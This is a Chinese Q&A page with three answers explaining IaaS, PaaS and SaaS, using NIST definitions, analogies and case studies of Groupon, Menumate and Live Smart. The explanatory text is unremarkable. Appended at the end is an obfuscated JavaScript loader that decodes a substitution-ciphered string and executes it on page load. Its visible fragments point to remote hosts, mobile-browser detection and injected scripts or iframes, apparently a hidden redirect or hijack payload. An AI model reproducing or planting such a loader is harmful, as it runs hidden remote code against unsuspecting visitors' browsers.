如何理解云计算中IaaS,PaaS和SaaS

2024-12-01 04:05:39
推荐回答(3个)
回答1:

作为一个广义的术语,云计算描述了一种范围广泛的服务。许多IT厂商都抓住了“云”这个概念,并将其作为产品的一种通用技术。对于公司而言,为了真正了解并利用云计算的价值,首先要了解什么是云计算,及其不同的组成部分。由于云服务是一个广泛的服务集合,因此用户可以选择何时、何地以及如何使用云计算。在这份报告中,我们将解释不同类型的云计算服务,包括软件即服务(SaaS),平台即服务(PaaS)和基础架构即服务(IaaS);并给出一些例子来说明他们如何工作。我们也将说明云计算在什么情况下,不是最好的选择。

云计算层次(Stack)
云计算常被描述为一个层次堆栈(Stack),每个层次建立在另一个层次的顶部,并向上提供服务接口,因此被称为“云”。通常,对于云计算的的定义来自于美国国家标准与技术研究院(NIST)。NIST将云计算定义为一个模型,简易的管理即可方便地按需配置网络访问,并可以配置计算资源(如网络,服务器,存储,应用程序和服务)。

这意味着最终用户可以方便快捷地利用大块资源。NIST还提供了几个特点,并且这些特点被认为是“云”服务中必不可少的。这些特征包括:

•按需自助式服务。用户通过注册获得服务,而传统的IT技术需要很长时间才能为最终用户提供服务。
•广泛的网络访问资源。可以通过标准平台(如台式机,笔记本电脑,手机等)来访问服务。
•资源池。资源可被多个客户享用。
•拥有快速的扩展性。可以随突发需求高峰来快速扩展。
•计费服务。按照使用协定来进行计费。

近几年,向市场推出的“云计算”概念,已经被传统软件厂商普遍接受。下图描绘了云计算堆栈的三个不同的类别:软件即服务(SaaS),平台即服务(PaaS)和基础设施即服务(IaaS)。

在这份报告中,我们将对所有三个类别进行区分,而区分这三种方式有一个非常简单的方法:

•SaaS通过网络运行,为最终用户提供应用服务。
•PaaS是一套工具服务,可以为编码和部署应用程序提供快速、高效的服务。
•IaaS包括硬件和软件,例如服务器,存储,网络,操作系统。

有人曾将这3个组件相互关联,并写了一个比喻为了帮助理解:就其本身而言,单独的IaaS基础设施毫无作用,它只能为上一层的资源提供帮助来发挥其生产力,就好比道路的存在是为了汽车和卡车来运送乘客与货物。在这个比喻中,道路被比作为IaaS基础设施,而汽车和卡车是坐落在基础设施之上的工具(PaaS),运送的货物和人员则可被比作软件和信息(SaaS)。

需要注意的是,虽然本文对SaaS,PaaS和IaaS的差异进行了区分,但是PaaS和IaaS的概念已日趋模糊。现在我们对这些组件的交互有了大致的了解,下面将会把注意力转向堆栈的顶层——SaaS。

SaaS:软件即服务
软件即服务(SaaS)被定义为部署在互联网上的软件。通过SaaS授权后,可以订阅按需服务,即“支付使用”的模式,或通过广告等方式提供免费服务。这种服务的快速增长使得SaaS迅速流行,因此用户必须了解,什么是SaaS,以及在哪些场合下SaaS是重要的。

SaaS的特点
SaaS遵守广义云计算中的定义,并有如下特点:

•可通过Web访问的商业软件。
•软件集中式管理。
•软件通过“一对多”模式进行交付使用。
•最终用户无需处理软件升级和补丁。
•应用程序接口(API)可在不同软件之间集成。

SaaS的适用场合
SaaS为云计算的最终交付提供了一项技术方法。当使用云计算时,公司必须考虑所迁移的应用程序是否合适SaaS。在以下场合中将应用程序移植到SaaS是个不错选择:

•Vanilla提供的SaaS功能更为全面。一个很好的例子是Vanilla提供的众多服务中包含了电子邮件;而原先使用的是单一功能的软件,尽管也能满足商务需求,但并没有竞争优势。
•需要网络或可通过移动设备访问的应用。例如,移动销售管理软件
•用于短期需求的软件,例如一个特定项目的协作软件。
•在特定时间需求使用的软件,例如每月使用一次税收或收费软件。

SaaS在引入到商业界后,被Salesforce作为客户关系管理(CRM)产品广泛接受。CRM是最流行的SaaS应用之一,同样,电子邮件,财务管、客户服务和费用管理也通过SaaS取得了良好的吸收。

SaaS不适用的场合
SaaS是一种非常有价值的工具,但是在一些特定的情况下,SaaS并不是软件交付的最佳选择。例如,SaaS可能不适合于以下场景:

•在需要实时处理数据,以及高速的数据处理应用
•不允许数据被外部托管的情况
•已有现有的内部部署解决方案能够满足所有需求

SaaS,即“软件即服务”是云计算最广为人知的一种服务,世界各地都在利用云平台做为服务,但是它使得SaaS的易用性和IaaS变得更为混淆。

案例分析:SaaS使得Groupon公司按需为客户提供服务

Groupon网站于2008年11月推出,提供了横跨40多个国家,500多个市场的购物、消费交易平台。公司拥有的数千名员工分布在芝加哥以及帕洛阿尔托办事处,并且在欧洲、拉丁美洲、亚洲和非洲区域设立了办事处。Groupon公司为客户提供了优质的产品和出色的服务。

Groupon公司的客户服务主任Harrow介绍道:在公司成立的几个月内,客户数量以指数级上升。起初,Groupon公司几乎花费了10%的时间来响应客户请求。这些事务甚至需要几个员工才得以应付。随后,Groupon公司意识到,在没有一个真正的解决方案前,无法继续运行下去。

在确信了Groupon的快速增长将继续后,他对几个企业级的系统解决方案进行了研究。企业级解决方案非常复杂,并且很难建立,并且会阻碍客户体验。Harrow随后在网上搜索了在线支持软件,发现了Zendesk。通过对Zendesk进行评估后,Harrow得出了正确的解决方案。

并且他认为Zendesk使用直观。和其他平台相比,Zendesk更强大,并且评价更高。此外,由于它是一个基于Web的解决方案,能够对其进行扩展,以支持更多用户。

现在Groupon雇佣了150多个客户支持代理,能够每天处理近15,000个请求。在代理为客户提供公司服务的过程中,Groupon的宏帮助(即一些FAQ的模板)为公司建立起了一键式解决的客户形象。

同时,Groupon认为Zendesk能够与其他解决方案更容易地集成,通过在Zendesk中加入GoodData,Groupon能够扩展和增强其报告,并且不受电子表格的限制。

PaaS:平台即服务

在软件开发时,平台即服务(PaaS)为SaaS提供了基础。PaaS被定义为一个计算平台,它使得用户能够快速、方便地创建web应用,并且无需担心维护下层软件。

PaaS类似于SaaS,不同之处在于其通过网络建立一个软件平台,而不是通过Web软件提供服务。

PaaS的特点
PaaS由许多不同的特征构成,以下是一些基本的特征:

•在相同的集成开发环境中用来开发、测试、部署、托管和维护的应用。
•基于Web的用户界面来创建工具,可用于创建、修改、测试和部署不同的UI场景
•多客户架构,可使多个并发用户使用相同的开发应用
•内置部署软件的可扩展性,包括负载平衡和故障转移
•通过公共标准集成Web服务和数据库
•支持开发团队协作,包括一些PaaS解决方案以及项目规划、沟通工具
•用来处理帐单和订阅管理的工具

尽管PaaS在许多方面类似于第三部分的IaaS,但PaaS有附加的服务价值以及两个显著特征:
1、它是软件开发的协作平台,可用于管理应用程序的数据源和工作流。一个例子是Heroku的PaaS的,其利用Ruby on Rails语言开发。
2、它允许用户来利用应用程序的公共数据来创建软件,该类型的PaaS可以被看作是一种方法来创建具有一系列具有公共数据格式或类型的应用程序。Force.com的PaaS便是一个很好的例子。

PaaS的重要性
当多个开发人员对同一个项目进行开发或者需要外部人员对开发进行交互时,PaaS特别有用。下面的案例表明,对于那些拥有客户关系管理工具(例如销售信息)并希望应用程序能充分利用这些数据的人而言,PaaS被证明是无价的。同时,对于那些希望自动化测试和部署服务的开发人员,PaaS是非常有用的。

基于迭代和增量开发的方法使得软件开发加快并得以普及,它简化了PaaS的开发和软件迭代的困难度。
PaaS的一些例子有:谷歌的App Engine,微软Azure服务,以及Force.com平台。

不适合使用PaaS的场合
我们认为,PaaS将成为软件开发的主流方法。实现流程自动化、并且使用预先定义的组件和构件,自动部署到生产的能力将提供足够的价值,并且非常有说服力的。虽然如此,但是在一定的情况下,PaaS可能并不太理想,例如:

•当应用在托管时需要较高的可移植性
•当专用开发语言会妨碍今后的另一提供商的上层服务
•当应用程序性能需要通过底层硬件和软件来进行定制

案例分析:Menumate公司部署使用PaaS
Menumate为澳大利亚的整个酒店行业销售硬件和软件。使用PaaS的优势使得Menumate在Force.com在迁移的过程中,能够使用相同的应用程序。
为其负责软件开发的Trineo公司的执行董事Fowlie说,使用Force.com的PaaS平台允许Menumate得以集中控制。
Trineo的执行董事Keswani觉得传统方式需要显著增加基础设施、连接以及安全性需求,而Force.com平台本身提供的这些非功能性需求,使得Menumate和Trineo能够纯粹专注于开发所需的功能。此外,利用PaaS的做法意味着Trineo可以采取现有的集成和自动化部署工具来简化整个软件的开发过程。

通过使用PaaS,Trineo已经能够在不同业务中利用一系列现成的应用程序来开发新应用。以下是PaaS的一些应用:

许可证密钥:Menumate软件通过使用许可证密钥来激活客户已支付的功能。PaaS编程语言的强大功能允许Menumate软件快速部署到Force.com(其许可证密钥通过Salesforce.com的CRM中链接),这使得销售和支持人员可以快速查看许可证的状态。

案例管理增强:Menumate处理的很多案例与消耗品订单有关。为了解决这个问题,Menumate拥有一个单独的基于DOS的应用程序,允许用户创建订单和发票。Menumate能够在支持案例中添加产品,并用现有的集成软件自动将发票发送到会计软件上。

标签印刷:另一项传统应用,能够为耗材和硬件创建货运标签,并将其发送给发送客户。使用PaaS技术,可以将这些标签直接打印到客户记录中。

IaaS:基础设施即服务
基础设施即服务(IaaS)提供了云计算基础架构,包括服务器、存储、网络和操作系统。它作为一种按需服务,使得客户无需购买服务器、软件、数据库空间或网络设备,而只要按需购买这些资源的外包服务。
正如以往的白皮书介绍过,IaaS也有一些值得注意的地方。通常它可以分为公共和私有两种基础设施或是两者的组合。“公共云”被认为是包含了共享资源并在互联网上部署了自助式服务的基础设施。
相比之下,“私有云”也集成了一些诸如虚拟化等的云计算功能,但它是运行在专用网络上的基础设施。此外,一些托管服务提供商已经开始在提供传统托管服务的同时,也提供公共或私有云的网络组合。这种组合方式通常被称为“混合云”。

IaaS的特点
与之前两个部分的SaaS和PaaS相比,IaaS的是一个迅速发展的领域。可以说,它普遍遵守以下几个核心特征:
•以资源分配作为服务
•允许动态调整
•成本可变,以效用定价
•通常在单一硬件上支持多用户

目前已有大量的IaaS供应商,其中既有诸如Amazon和Rackspace的超大型云供应商,也有区域型的佼佼者。

正如之前所述,PaaS和IaaS的之间的界限正变得越来越模糊,因为供应商正将平台工具作为IaaS的一部分来帮助云的多种类型的部署。

IaaS的适用场合
IaaS在与云计算密切相关的场合下将会发挥效益,这些场合包括:
•要求基础设施能在任意时刻能适应变化多端的需求量
•当新公司没有预算投资于硬件
•当公司发展迅速,在扩展硬件时遇到问题
•当公司迫于预算限制,需要将资金转移到经营开支上
•一些特定的商务领域,也可用于测试或临时性的设施需求

不适合使用IaaS的场合
虽然IaaS有可扩展性强和大规模部署迅速的优势,但在某些情况下也有它的局限性。在以下场合中,建议慎用IaaS:
•限于法律的规定,要求数据存储和处理进行隔离
•对基础设施有非常高的性能要求,或原先的内部部署或专用托管基础设施已经满足需求

案例分析:Live Smart通过采取基础设施来帮助减肥者

Live Smart是推广该饮食解决方案的幕后公司,主要出版饮食类书籍和策划在线活动。Beyond Diet是该公司旗下的一个与减肥者互动的社区网站。
从2008年起该公司的业绩增长迅猛,甚至在2010年有了50倍的收益增长。这相当于网站有30万日的均实访客量,峰值甚至高达100万人次。当在考虑基础设施的架构时,Beyond Diet需要的是可托管性和可扩展性。重要的是,Beyond Diet网站规模需要动态的扩大或缩小的能力,以来应对定期的大流量高峰。

Live Smart首席技术官Rob·Volk说:“迁移到云基础设施后他省心了,而在此之前Live Smart在其网站上需要有一个兼职系统管理员,这是显然不是最好的选择;现在有了Managed Cloud(由云提供商Rackspace提供的IaaS服务),Rackspace基本上可以扮演我们的Linux和Windows系统管理员,全天24小时任何时刻如果发生当机,几分钟之内他们的工程师就会来解决这些问题,这个云改变了我们的工作,因此我们需要这种基础设施。”

对于Volk来说,将其网站移动到云的主要动力是他可以更加专注核心业务,而让那些基础设施的专家来日常管理云的运维,因为云供应商提供多级冗余的硬件、快速的配置和高度的灵活性,这些都起了决定性因素。有趣的是,Volk甚至从未考虑过经营自己的物理服务器,而是考虑究竟选择托管服务器还是云中的一个。

他选择了云还因为它降低了成本,相比那些专用服务器,云的选择有更高的灵活性。

Volk正在使用多个云服务提供商:他有三个Web服务器,多个数据库服务器和一个Rackspace的负载平衡器,同时也使用Amazon的S3服务。

Volk认为其中最大的好处是云基础设施的可扩展性。他解释说:“每当过年的时候很多人都去节食,我们的服务器的高峰时间正是在每年的1月到到3月之间,此时网站的流量是平时的三倍,而利用云服务器,我们只需在几分钟之内就能建立好新的Web前端。一旦流量下降,我们可以关闭这些前端。只有在云虚拟化环境中,我们才可能有这样的可扩展性。”

结论
云计算不是一个单一的术语,而是一个总称,它提出了IasS作为基础、PaaS作为开发工具、SaaS作为顶层应用,来取代以往的内部部署应用服务。
对于那些打算迁移到云计算的公司而言,非常重要的一点,是需要了解云计算的每个层面,并结合自己的情况来决定哪些是适合他们需求的解决方案。
随着IT的发展,云计算将加速变革,并将成为未来IT默认的交付方式,所以公司应该尽早考虑将其业务迁移到云计算上。

回答2:

IaaS: Infrastructure-as-a-Service(基础设施即服务)

第一层叫做IaaS,有时候也叫做Hardware-as-a-Service,几年前如果你想在办公室或者公司的网站上运行一些企业应用,你需要去买服务器,或者别的高昂的硬件来控制本地应用,让你的业务运行起来。

但是现在有IaaS,你可以将硬件外包到别的地方去。IaaS公司会提供场外服务器,存储和网络硬件,你可以租用。节省了维护成本和办公场地,公司可以在任何时候利用这些硬件来运行其应用。

一些大的IaaS公司包括Amazon, Microsoft, VMWare, Rackspace和Red Hat.不过这些公司又都有自己的专长,比如Amazon和微软给你提供的不只是IaaS,他们还会将其计算能力出租给你来host你的网站。

PaaS: Platform-as-a-Service(平台即服务)

第二层就是所谓的PaaS,某些时候也叫做中间件。你公司所有的开发都可以在这一层进行,节省了时间和资源。

PaaS公司在网上提供各种开发和分发应用的解决方案,比如虚拟服务器和操作系统。这节省了你在硬件上的费用,也让分散的工作室之间的合作变得更加容易。网页应用管理,应用设计,应用虚拟主机,存储,安全以及应用开发协作工具等。

一些大的PaaS提供者有Google App Engine,Microsoft Azure,Force.com,Heroku,Engine Yard。最近兴起的公司有AppFog, Mendix 和 Standing Cloud

SaaS: Software-as-a-Service(软件即服务)

第三层也就是所谓SaaS。这一层是和你的生活每天接触的一层,大多是通过网页浏览器来接入。任何一个远程服务器上的应用都可以通过网络来运行,就是SaaS了。

你消费的服务完全是从网页如Netflix, MOG, Google Apps, Box.net, Dropbox或者苹果的iCloud那里进入这些分类。尽管这些网页服务是用作商务和娱乐或者两者都有,但这也算是云技术的一部分。

一些用作商务的SaaS应用包括Citrix的GoToMeeting,Cisco的WebEx,Salesforce的CRM,ADP,Workday和SuccessFactors。

回答3:

根据NIST的权威定义,云计算有SPI, 即SaaS、PaaS和IaaS三大服务模式。这是目前被业界最广 泛认同的划分。PaaS和IaaS源于SaaS理念。PaaS和IaaS可以直接通过SOA/Web Services向平台用户提供服务, 也可以作为SaaS模式的支撑平台间接向最终用户服务。

  • SaaS:提供给客户的服务是运营商运行在云计算基础设施上的应用程序,用户可以在各种设备上通过客户端界面访问,如浏览器。消费者不需要管理或控制任何云计算基础设施,包括网络、服务器、操作系统、存储等等;

  • PaaS:提供给消费者的服务是把客户采用提供的开发语言和工具(例如Java,python, .Net等)开发的或收购的应用程序部署到供应商的云计算基础设施上去。客户不需要管理或控制底层的云基础设施,包括网络、服务器、操作系统、存储等,但客户能控制部署的应用程序,也可能控制运行应用程序的托管环境配置;

  • IaaS: 提供给消费者的服务是对所有设施的利用,包括处理、存储、网络和其它基本的计算资源,用户能够部署和运行任意软件,包括操作系统和应用程序。消费者不管理或控制任何云计算基础设施,但能控制操作系统的选择、储存空间、部署的应用,也有可能获得有限制的网络组件(例如,防火墙,负载均衡器等)的控制。

通俗易懂一点,SaaS可以理解为你去餐厅,直接购买做好的饭;PaaS是你去餐厅,餐厅给你提供了厨房自己烹饪食物;IaaS是提供了一家餐厅,你需要自己做好经营。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();